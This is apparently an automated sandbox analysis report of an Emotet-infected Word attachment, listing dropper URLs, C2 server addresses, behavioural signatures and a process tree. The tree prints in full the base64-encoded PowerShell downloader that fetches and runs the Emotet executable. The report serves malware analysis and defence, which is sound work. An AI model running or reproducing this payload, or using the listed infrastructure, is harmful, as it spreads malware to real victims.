Analysis

  • max time kernel
    136s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    03/09/2020, 23:54

General

  • Target
    Attachments_2020_09_04_6492.doc
  • Size 237KB
  • Sample200903-cldvn2pyma
  • SHA256 2ce02bed93b32642de024d52e2b8b0cdfc0716e8a0d1e617b67cdf14c195583e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://sitecgps.com/assets/hj8/

  • exe.dropper

    http://andrescardozo.com/programas/k/

  • exe.dropper

    http://banie.net/mariola/MW/

  • exe.dropper

    https://www.martinsassessoriadigital.com/medias/1/

  • exe.dropper

    http://associacaomda.org/erros/R4t/

  • exe.dropper

    http://paramythou.gr/wp-includes/2/

  • exe.dropper

    https://vedox.com/wp-includes/z/

Extracted

Family
  • emotet

C2
  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Attachments_2020_09_04_6492.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4092
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:636
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABEAHMAcgBwAHcAaQB4AD0AKAAoACcATwBwACcAKwAnAGoAdAAnACkAKwAnAHMAcQAnACsAJwB5ACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBQAHIATwBmAEkAbABlAFwAVQAzAFMARgA4AFoARwBcAFQAeQA5AEwAZQBiADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQBgAFIAaQBUAHkAUABSAE8AYABUAG8AYwBvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIALAAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAxACcAKQArACcAMQAnACsAKAAnACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQAUgB6AHAAOAB2ADcANwAgAD0AIAAoACgAJwBJAGgAJwArACcAbAAxAGoAJwApACsAJwAwACcAKQA7ACQASAB3AF8AcwB5AHQAOAA9ACgAKAAnAFIAJwArACcANwBiACcAKQArACgAJwAyAGMAbwAnACsAJwBxACcAKQApADsAJABaADQAdgBpAGwAcgBoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwB2AGoAJwArACcAVQAnACkAKwAoACcAMwBzAGYAJwArACcAOAB6ACcAKQArACgAJwBnADkAJwArACcAdgBqAFQAeQA5ACcAKwAnAGwAZQBiACcAKQArACcANAAnACsAKAAnADkAJwArACcAdgBqACcAKQApAC4AIgByAGAAZQBwAGAAbABhAEMAZQAiACgAKAAnADkAdgAnACsAJwBqACcAKQAsAFsAUwB0AFIASQBuAEcAXQBbAGMASABBAFIAXQA5ADIAKQApACsAJABSAHoAcAA4AHYANwA3ACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQATwBmADYAdgByAHAAeAA9ACgAJwBIAGEAJwArACgAJwB6AF8AOQAyACcAKwAnAGMAJwApACkAOwAkAEQAaQBtAHEAaABnAHIAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAGIAQwBsAGkARQBOAHQAOwAkAEQAMwB3ADkAaAA4AG0APQAoACcAaAB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvACcAKwAnAHMAaQAnACsAJwB0ACcAKQArACgAJwBlAGMAZwBwACcAKwAnAHMALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAGEAJwArACcAcwBzACcAKwAnAGUAdAAnACsAKAAnAHMALwBoAGoAOAAnACsAJwAvACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAnAG4AJwArACgAJwBkAHIAJwArACcAZQAnACkAKwAnAHMAJwArACcAYwAnACsAJwBhAHIAJwArACcAZAAnACsAKAAnAG8AegAnACsAJwBvACcAKQArACcALgBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AJwArACcAcAByACcAKQArACgAJwBvACcAKwAnAGcAcgAnACkAKwAoACcAYQAnACsAJwBtAGEAcwAnACkAKwAoACcALwAnACsAJwBrAC8AJwApACsAJwAqAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAYgBhAG4AaQBlACcAKwAnAC4AbgAnACkAKwAnAGUAdAAnACsAKAAnAC8AbQAnACsAJwBhAHIAJwArACcAaQBvAGwAJwApACsAKAAnAGEALwAnACsAJwBNACcAKQArACgAJwBXACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcABzADoAJwArACcALwAvAHcAdwB3AC4AJwApACsAKAAnAG0AJwArACcAYQByACcAKQArACcAdABpACcAKwAoACcAbgBzAGEAcwBzAGUAJwArACcAcwBzAG8AJwArACcAcgAnACsAJwBpACcAKQArACcAYQAnACsAKAAnAGQAaQAnACsAJwBnAGkAdAAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAbQBlAGQAaQAnACsAJwBhAHMALwAnACsAJwAxAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwAnACsAJwBhAHMAJwArACcAcwBvAGMAaQAnACkAKwAnAGEAJwArACcAYwBhACcAKwAoACcAbwBtAGQAJwArACcAYQAuACcAKQArACgAJwBvACcAKwAnAHIAZwAvAGUAJwApACsAKAAnAHIAJwArACcAcgBvACcAKQArACgAJwBzAC8AJwArACcAUgA0ACcAKQArACgAJwB0AC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBwAGEAcgBhACcAKQArACcAbQAnACsAJwB5ACcAKwAnAHQAJwArACcAaABvACcAKwAoACcAdQAuAGcAcgAnACsAJwAvAHcAJwApACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAAnACsAJwB1AGQAZQBzAC8AJwArACcAMgAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAJwB2ACcAKwAoACcAZQBkACcAKwAnAG8AeAAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGkAJwArACcAbgAnACsAJwBjACcAKwAnAGwAdQAnACsAKAAnAGQAZQAnACsAJwBzAC8AegAvACcAKQApAC4AIgBzAFAAbABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAdgBoADQAdwAyAF8APQAoACcAUgAnACsAJwBuACcAKwAoACcAdwB4AHEAegAnACsAJwB2ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABoAGcAYwBzADMAZAAgAGkAbgAgACQARAAzAHcAOQBoADgAbQApAHsAdAByAHkAewAkAEQAaQBtAHEAaABnAHIALgAiAGQATwBgAHcAbgBgAEwAYABvAGEAZABmAGkATABFACIAKAAkAEQAaABnAGMAcwAzAGQALAAgACQAWgA0AHYAaQBsAHIAaAApADsAJABXADUAMgB2AHAAbgBxAD0AKAAoACcAWgA4ACcAKwAnAGgAJwApACsAKAAnAHgAJwArACcANQA5AGYAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAWgA0AHYAaQBsAHIAaAApAC4AIgBsAGAAZQBOAGcAVABIACIAIAAtAGcAZQAgADMAOAA1ADcANgApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABaADQAdgBpAGwAcgBoACkAOwAkAFkAdQBzAGgAeAAzADQAPQAoACcAUwAnACsAKAAnADkAZQAnACsAJwA1ACcAKQArACgAJwBfAHgAJwArACcAdwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVgBlAGUAXwByAHoANQA9ACgAJwBKACcAKwAoACcANQAxAHUAJwArACcAbQBrADIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIANQB0AGUAYwB4AGgAPQAoACcAWQBwACcAKwAoACcAegAnACsAJwBxAG0AJwApACsAJwBhAGEAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3244
    • C:\Users\Admin\U3sf8zg\Ty9leb4\Ihl1j0.exe
      "C:\Users\Admin\U3sf8zg\Ty9leb4\Ihl1j0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\SysWOW64\MbaeApi\PerceptionSimulation.ProxyStubs.exe
        "C:\Windows\SysWOW64\MbaeApi\PerceptionSimulation.ProxyStubs.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:4008

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1880-18-0x00000000023B0000-0x00000000023BC000-memory.dmp

        memory/1880-17-0x00000000023A0000-0x00000000023AD000-memory.dmp

        memory/3244-12-0x00000207FAA70000-0x00000207FAA71000-memory.dmp

        memory/3244-13-0x00000207FAED0000-0x00000207FAED1000-memory.dmp

        memory/3244-11-0x00007FFDC6000000-0x00007FFDC69EC000-memory.dmp

        memory/4008-22-0x0000000002290000-0x000000000229C000-memory.dmp

        memory/4008-21-0x00000000021B0000-0x00000000021BD000-memory.dmp

        memory/4092-5-0x000001FB1E3E9000-0x000001FB1E3EE000-memory.dmp

        memory/4092-10-0x000001FB1E584000-0x000001FB1E589000-memory.dmp

        memory/4092-9-0x000001FB1E584000-0x000001FB1E589000-memory.dmp

        memory/4092-8-0x000001FB1E582000-0x000001FB1E584000-memory.dmp

        memory/4092-7-0x000001FB1E581000-0x000001FB1E582000-memory.dmp

        memory/4092-6-0x000001FB1E582000-0x000001FB1E584000-memory.dmp

        memory/4092-0-0x00007FFDCD1A0000-0x00007FFDCD866000-memory.dmp

        memory/4092-4-0x000001FB1E3E8000-0x000001FB1E3E9000-memory.dmp

        memory/4092-3-0x000001FB1E3E9000-0x000001FB1E3EE000-memory.dmp

        memory/4092-2-0x000001FB1E3E9000-0x000001FB1E3EE000-memory.dmp

        memory/4092-1-0x000001FB1E3E9000-0x000001FB1E3EE000-memory.dmp